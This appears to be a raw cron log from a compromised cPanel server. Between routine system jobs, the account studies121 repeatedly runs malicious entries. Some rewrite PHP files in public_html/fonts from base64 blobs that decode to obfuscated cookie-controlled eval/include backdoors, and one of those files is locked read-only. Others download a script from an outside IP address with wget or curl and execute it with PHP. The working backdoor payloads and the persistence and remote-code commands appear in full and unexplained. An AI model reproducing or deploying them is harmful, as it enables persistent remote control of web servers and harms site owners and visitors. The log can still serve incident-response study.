Sep 21 21:00:01 ip-184-168-122-23 CROND[16238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:00:01 ip-184-168-122-23 CROND[16239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:00:01 ip-184-168-122-23 CROND[16237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:00:01 ip-184-168-122-23 CROND[16236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:01:01 ip-184-168-122-23 CROND[16363]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 21:01:01 ip-184-168-122-23 CROND[16364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:01:01 ip-184-168-122-23 CROND[16365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16363]: starting 0anacron
Sep 21 21:01:01 ip-184-168-122-23 CROND[16373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:01:01 ip-184-168-122-23 CROND[16372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 21:01:01 ip-184-168-122-23 CROND[16375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16382]: finished 0anacron
Sep 21 21:02:01 ip-184-168-122-23 CROND[16488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:02:01 ip-184-168-122-23 CROND[16490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:02:01 ip-184-168-122-23 CROND[16491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:02:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:02:01 ip-184-168-122-23 CROND[16493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:03:01 ip-184-168-122-23 CROND[16591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:03:01 ip-184-168-122-23 CROND[16593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:03:01 ip-184-168-122-23 CROND[16595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:03:01 ip-184-168-122-23 CROND[16594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:04:01 ip-184-168-122-23 CROND[16699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:04:01 ip-184-168-122-23 CROND[16700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:04:01 ip-184-168-122-23 CROND[16702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:04:01 ip-184-168-122-23 CROND[16704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:04:01 ip-184-168-122-23 CROND[16703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:05:01 ip-184-168-122-23 CROND[16811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:05:01 ip-184-168-122-23 CROND[16813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:05:01 ip-184-168-122-23 CROND[16814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:05:01 ip-184-168-122-23 CROND[16817]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 21:05:01 ip-184-168-122-23 CROND[16822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:05:01 ip-184-168-122-23 CROND[16820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:05:01 ip-184-168-122-23 CROND[16821]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:06:01 ip-184-168-122-23 CROND[16920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:06:01 ip-184-168-122-23 CROND[16922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:06:01 ip-184-168-122-23 CROND[16921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:06:01 ip-184-168-122-23 CROND[16923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:06:01 ip-184-168-122-23 CROND[16924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:07:01 ip-184-168-122-23 CROND[17117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:07:01 ip-184-168-122-23 CROND[17119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:07:01 ip-184-168-122-23 CROND[17120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:07:01 ip-184-168-122-23 CROND[17122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:08:01 ip-184-168-122-23 CROND[17237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:08:01 ip-184-168-122-23 CROND[17239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:08:01 ip-184-168-122-23 CROND[17241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:08:01 ip-184-168-122-23 CROND[17240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:08:01 ip-184-168-122-23 CROND[17243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:09:01 ip-184-168-122-23 CROND[17338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:09:01 ip-184-168-122-23 CROND[17339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:09:01 ip-184-168-122-23 CROND[17343]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 21:09:01 ip-184-168-122-23 CROND[17341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:09:01 ip-184-168-122-23 CROND[17344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:10:01 ip-184-168-122-23 CROND[17460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:10:01 ip-184-168-122-23 CROND[17463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:10:01 ip-184-168-122-23 CROND[17464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:10:01 ip-184-168-122-23 CROND[17467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:10:01 ip-184-168-122-23 CROND[17469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:10:01 ip-184-168-122-23 CROND[17471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:10:01 ip-184-168-122-23 CROND[17474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 21:10:01 ip-184-168-122-23 CROND[17472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:11:01 ip-184-168-122-23 CROND[17582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:11:01 ip-184-168-122-23 CROND[17584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:11:01 ip-184-168-122-23 CROND[17586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:11:01 ip-184-168-122-23 CROND[17585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:12:01 ip-184-168-122-23 CROND[17778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:12:01 ip-184-168-122-23 CROND[17780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:12:01 ip-184-168-122-23 CROND[17779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
